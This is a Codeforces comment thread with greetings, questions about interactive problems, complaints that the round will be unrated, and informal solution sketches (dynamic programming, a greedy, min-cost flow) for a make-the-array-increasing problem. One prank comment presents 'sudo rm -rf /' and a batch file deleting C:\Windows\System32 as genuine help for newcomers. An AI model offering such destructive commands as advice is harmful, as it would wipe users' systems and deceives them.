Hope so.. last round was pain :(

Good day, good Codeforces, and tonight I will be a purple Coder.That is really great.Thank you everyone!Thank the is world!

How you passed the example then?

680C - Bear and Prime 100

in Codeforces Round 356 (Div. 2)

Eid Mubarak you too :)

Eid Mubarak Bro :D

Eid Mubarak Bro.

Eid mubarak

Eid Mubarak for all !

Eid Mubarak :D

Amin.

Eid Mubarak ^_^

Eid Mubarak brother!!!

Hope you solve the interactive problem. and also Eid mubarak. :)

good luck to everyone :)

все кто выше синего цвета — див.1, остальные див. 2

2-ой дивизион -- рейтинг от 0 до 1899. Там 2 задача не очень сложные, а 3 сквозные с первым 1-вий дивизион -- рейтинг 1900+. Опять три последних задачи из div 2, и 2 сложные.

If you're on Linux, write sudo rm -rf /. Make sure you have root access or it won't work!

If you're on Windows, make a file named something.bat, type in it

@echo off
del C:\Windows\System32

save and run it. It really works!

You must submit hacking program which will interact with target

It depends on particular problem. Instruction for writting hacking program always present in an interactive problem statement.

It will be described in the statement.

yes

I'm shocked this comment is so far down, considering how it usually goes...

No. I wait 5 minutes each time for submit page to open.

লাইক দিয়ে পাশে আছি, ফ্রান্স।

I am having the same problem.

Write some code which will answer the questions automatically instead of answering them in stdin

Man! Now I get the reference. I thought it was a joke only I didn't get!!

Pasting link to the same problem, with visible solutions, during the contest... genius.

Change a[i] by a[i] — i, it becomes 13C. Is it correct?

I accidentally down-voted your comment while trying to up-vote it and Codeforces won't let me change it. Sorry.

Also A isn't very original, I am sure I have seen easy variations of it twice in recent contests.

Waiting for rated contest for infinity time and now it will be unrated with almost 100% probability. That's fun.

It's quite funny that 713C is similar to 13C. Maybe it was intended joke? lol

Let b[i] = a[i]-i. Then it can be thought that you're to make non-decreasing sequence instead of increasing sequence. From that, a dynamic programming idea comes out. D[i][j] : minimum cost of making b[1] ~ b[i] sorted, such that b[i] = j: D[i][j] = min(D[i-1][k]) + abs(b[i]-j) for k <= j. j has to be one of the initial values of b, so the time complexity is O(n^2).

http://codeforces.me/contest/713/submission/20589839

Div1C: go left to right, increase values greedily up and count how much you add. Also maintain a sorted vector of best costs for moving down the current stairs by one. E.g. you pay 1, 1, 1, then 2, then 3, etc. Costs are groupped so vector consists of pairs (cost, number): (1,3),(2,1),(3,1),...

When next element is larger than current height, you increase all costs by 1 and push (1, h-1-x) to the vector's back.

When next element is smaller or equal, you increase it by d to make it higher. Then you reduce the latests d costs by 1 (you may need to split some group in vector into two groups). And you increase all other costs by 1.

Then you take all non-positive costs from vector's back and "use" them: decrease current answer and height.

So this vector grows linearly, leading to O(N²) solution. This can also be seen as DP.

Missed the registration...a pity.

I figured out a solution via MCMF.

First we can consider another array: a₂ - a₁, a₃ - a₂, a₄ - a₃, ..., a_n - a_n - 1.

Let's consider this new array as b_i, and find the impact of increasing a_i to b_i.

For increasing a₁, we get b₁ decrease by 1.

For increasing a_i (1 < i <  = n - 1), we get b_i - 1 increase by 1, and b_i decrease by 1.

For increasing a_n,we get b_n - 1 increase by 1.

Notice that we can add arbitrary number to a_i.Let's view b_i as n-1 piles of stones(allowing minus stone number), then we can perform 2 types of operations.

1.Generate 1 stone at pile 1 or pile n-1.Cost is 1.

2.Exchange 1 stone between adjacent piles.Cost is 1.

Out goal is to make every pile at least 1 stone.

Let's solve this model by MCMF.

1. Categorise b_i as three types A(for piles with number more than 1), B(for piles with number less than 1), C(for piles with number exactly 1).

2. Connect SOURCE to b₁ and b_n - 1 edges with infinity flow and cost 1.(Meaning generating stones.)

3. Connect SOURCE to type A vertex edges with (b_i - 1) flow and cost 1.(Meaning redundant stones.)

4. Connect type B vertex to DRAIN edges with ( - b_i + 1) flow and cost 1.(Meaning required stones.)

5. Connect bidirectionally between adjacent vertexes edges with infinity flow and cost 1.(Meaning exchange.)

6. Perform MCMF and you are done.

Yes, same here. I got 1 wa and waited for an announcement to clarify this. :/

No, 3 1 2 4

fml, lol :D

Yeah i hope it had strong pretests...

It's just simple trie problem.

Did you trie your best?

I also gave the problem with very similar trick about convexity to the Yandex Algorithm 2016 Finals (problem D).

Could you elaborate please? Ternary search for the first value would work?

UPD: I see it's not enough to determing the full sequence.

Too bad it is going to be unrated .

Totally agree!

I think it's better to start with writing your own ask_query function, what should lead to something like this (version after changing it to the submitable version):

int ask(int x1, int y1, int x2, int y2) {
	printf("? %d %d %d %d\n", x1, y1, x2, y2);
	fflush(stdout);
	int ret;
	scanf("%d", &ret);
	return ret;
	
	/* int ret = 0;
	if(x1 <= 17 && 57 <= x2 && y1 <= 80 && 80 <= y2) ++ret;
	if(x1 <= 25 && 88 <= x2 && y1 <= 51 && 61 <= y2) ++ret;;
	return ret; */
}

3

1 1 2

The answer is "YES"

yeah there is genius who got it in 4 minutes

Can you provide a link with the thread where it was discussed in O(nlogn)?

I knew the problem before as well, but not the NlogN solution (just the easy N^2). Can you please explain me the more efficient one or provide a link to some solution? I've been thinking for a while at it and was unable to solve it that fast.